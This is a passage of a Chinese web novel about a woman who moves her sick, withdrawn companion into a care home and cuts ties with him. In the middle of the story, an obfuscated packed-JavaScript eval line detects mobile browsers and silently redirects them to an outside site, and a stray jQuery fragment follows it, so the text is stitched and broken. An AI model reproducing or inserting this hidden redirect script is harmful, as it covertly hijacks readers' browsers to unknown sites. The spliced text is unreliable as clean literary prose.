约莫两年前，她就生出了和他分开的念头。
但迟迟不敢开口，也迟迟不敢行动。
最近和他冷战的这一长段时间里，她终于是攒出了一点勇气，也为他寻得了一个合适的去处。
她在黝黑的夜里低着头：“我平时上班忙，没工夫照顾你，你生病的话，我也没办法及时发现，所以我觉得我们分开对你是最好的，我前段时间联系了一家疗养院，我觉得你可以——”
“疗养院？”
宋轻云的声音空得很，苏回雪准备好面临他的质问，但他没有。
他似乎不在意和苏回雪分开，更在意费用：“疗养院，很贵吧。”
“还……行，不是很贵，里面有护工，还有医生，处理应急突发状况也很专业，费用我还付得起。”
“你不嫌贵就行。”宋轻云没有多听她的解释，他欣然地接受了和她分开的建议，貌似没有听出她的借口，也没谴责她的伪善：“那以后每个月——”
“我知道。”苏回雪的眼眶莫名感到了几分酸涩，她自己也分不清这酸涩的缘故，只一味承诺：“我会出钱的。”
宋轻云强行把腰背挺直，携着一身的水汽转身回房间：“可以。那我过几天收拾——”
“你明天就收拾东西吧。”苏回雪看着男人的背影：“房子下周到期，我不准备续租了，我想要租一个……离公司近一点的地方。”
无足轻重的沉默后，宋轻云微不可查的点了点头：“行。”
在和她分开这件事情上，宋轻云没有死缠烂打，或许他也早就受够了她。
她如释重负的同时，感到了一阵唏嘘。
说到底，他比她更不在乎这份感情，他在乎的，只有钱和他自己。
那酝酿了许久的愧疚烟消云散，第二天，苏回雪用一整个周日帮宋轻云一起收拾行李，但只花了半天不到的时间，他的所有东西就打包好了。
他所有的东西加起来，居然只有一个行李箱。
苏回雪反复确认家里没有宋轻云的必需品了之后，把视线落在了角落的那架电子琴上，她提醒宋轻云：“疗养院那边好像有专门的活动室，有琴。”
宋轻云看起来收拾行李收拾得有些犯困，窝在沙发上，有些倦怠地盯着窗户，只轻轻的嗯了声：“带不走的就不带了。”
“行，那我过两天把琴拿去卖了，卖的钱正好给你在那边置办点东西。”苏回雪把他的行李箱推到了角落里，自己也瘫到了沙发上：“我等会再和疗养院那边沟通一下，等手续办完，你就搬过去。”
宋轻云抱紧了怀里的抱枕，歪过头，有些慵懒地看向苏回雪。
他今天没有戴眼镜，和平时有些不太一样，苏回雪收回视线摸了摸自己的脸：“有什么东西？”
“没有。”宋轻云道：“等过段时间，把户口也分开吧。”
苏回雪愣了一愣。
她早就有这种想法，但一直没好意思提。
宋轻云此时提出来，那是再好不过。
她没有拒绝的理由：“……那下周末吧。”
“我都行。”
今天的宋轻云显得非常好说话，而且一点也不刁钻刻薄，苏回雪想，在远离对方这一点上，他们俩总算是达成了一致。
饭点，宋轻云没有要做饭的意思，苏回雪也对他不抱什么希望了，她随便拿外卖对付了两口，回房睡午觉。
收拾行李太累，她很快睡了过去，等这一觉睡醒，已经黄昏。
六七点的样子，苏回雪从床上爬起来，口干舌燥地想要去接水，路过客厅时，她注意到宋轻云还靠在那个位置。
这一整天，他似乎一动未动。
苏回雪捧着水杯走过去，发觉宋轻云已经靠在那里睡着了。
窗户没关，这里又对着窗户口，外面的冷风呼呼的往里灌，宋轻云的头发都被吹得有些凌乱，苏回雪念及他昨晚才发了烧，于是把窗户关了，伸手去拍他的肩膀：“去我房间睡。”
她拍了几次，没有把他弄醒。
苏回雪盯着男人憔悴的睡颜，不再叫他，她尝试性地伸出手，从男人的后腰和沙发形成的空隙里穿过去，搂住了他的腰，另一只手勾住男人的腿弯，她没想到的是，她竟然真的把人抱了起来。
苏回雪自己都怔了怔。
好轻。
她垂眸看了一眼依旧没有清醒过来的人，轻而易举地把宋轻云抱去了卧室，
他瘦得过分，苏回雪压下心里那不敢深想的情绪，尽量不去看他，带上门离开了卧室。
和疗养院的沟通十分顺利，三天后，苏回雪便把宋轻云送了过去。
疗养院的护工以礼貌热情的态度带苏回雪和宋轻云去了宿舍，苏回雪拎着宋轻云的行李箱进屋，给他布置宿舍时，她看向双人间里另外的一个床位。
那里坐着一个年龄不大的男生，从他们进屋起，就一直用木楞僵直的目光盯着他们。
据护工说，那是个智力有缺陷的男生，但平时很安静，不会闹腾。
苏回雪看得出来他很安静，但那种安静……是和死人一样，毫无生气的安静，和之前抑郁发作的宋轻云很像。
她转过头，去看宋轻云。
他正在把他带来的盆栽一盆一盆地放上窗台，没有半点被苏回雪抛弃的感伤，反而看起来怡然自得，大有一种要在这里好好生活的架势。
苏回雪放下心，继续给宋轻云整理行李，不紧不慢地做完了一切能够做的事情后，她再看向窗外，已近黄昏。
“差不多了，可以回去了。”
宋轻云突然从怀里摸出一串钥匙，送到苏回雪面前：“把钥匙带回去。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448062|185183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宋轻云的钥匙扣，是一只圆滚滚的金属小黄鸭，鸭子的屁股扁平，是磁铁做的。
鸭子本来一共两只，可以吸在一起，是苏回雪好多年前买的，但苏回雪的那只白色的早就不知道弄丢到哪里去了，只有他这个钥匙扣一直在用，一用就是十多年，黄色的表皮都已经生出了斑驳的锈。
苏回雪盯着那个钥匙串。
曾经还在念书的苏回雪每一次忘记带钥匙，都要去初中部或者高中部找宋轻云拿钥匙。
她永远记得那些年里，磁铁带着宋轻云手心的温度落在她掌心的瞬间。
此时此刻，她接过宋轻云递来的钥匙，想要把上面的钥匙扣取下来还给宋轻云，但他冲她挥了挥手：“都生锈了，不要了，你要回去就早点回吧。”
时间确实不早，苏回雪也该回去了。
宋轻云说他累了，没有送她，她自己一个人下的楼。
即将离开院门时，她两手空空地瞧着院墙内外的光影，忽地想起高一开学那年，第一次住宿，是宋轻云送她去的学校。
那时候的苏回雪还会因为要和念大学的宋轻云分开而掉眼泪，时至今日，不过八年。
她恍然意识到，宋轻云说得没错。
她确实变了。
可他又何尝不是。
——
和宋轻云分开后的第一个周末，苏回雪去疗养院接他，两人一起去改了户口。
那一天，苏回雪请他在外面吃了一顿饭，问宋轻云在疗养院过得怎么样，得到了他还算肯定的回答。
他说，除了无聊没什么不好。
苏回雪便也放下心。之后的很长时间，两人没再见过面。
苏回雪换了套一居室房子，距离公司很近，通勤时间缩短了很多，幸福指数直线飙升。
她渐渐地适应了没有宋轻云的生活，一连几个月，直到冬季降临，寒意侵袭。
公司休年假的前一天，她接了一通电话。
“小苏啊，小宋的复查时间过去一周了，你们啥时候来医院呢？”
是徐灿的电话。
徐灿是宋轻云的主治医生，之前他建议宋轻云做手术，苏回雪拿不出钱，便维持了保守治疗，但保守治疗不代表不治疗，宋轻云要是想要多活个一两年，还是需要定期去医院复查拿药。
由于和徐灿已经足够熟悉，在电话里，苏回雪和他直说了自己现在和宋轻云的情况，她道：“徐医生，我现在不是宋轻云的家属了，复查的事情，麻烦您直接联系他吧。”
她想要把自己和宋轻云完完全全地摘干净，但总是事与愿违，徐灿没能联系上宋轻云，又给苏回雪回拨电话，让她帮忙联系。
苏回雪迫于徐医生的医者仁心，还是给宋轻云打了一通电话。
但她也没打通。
宋轻云的手机停机了。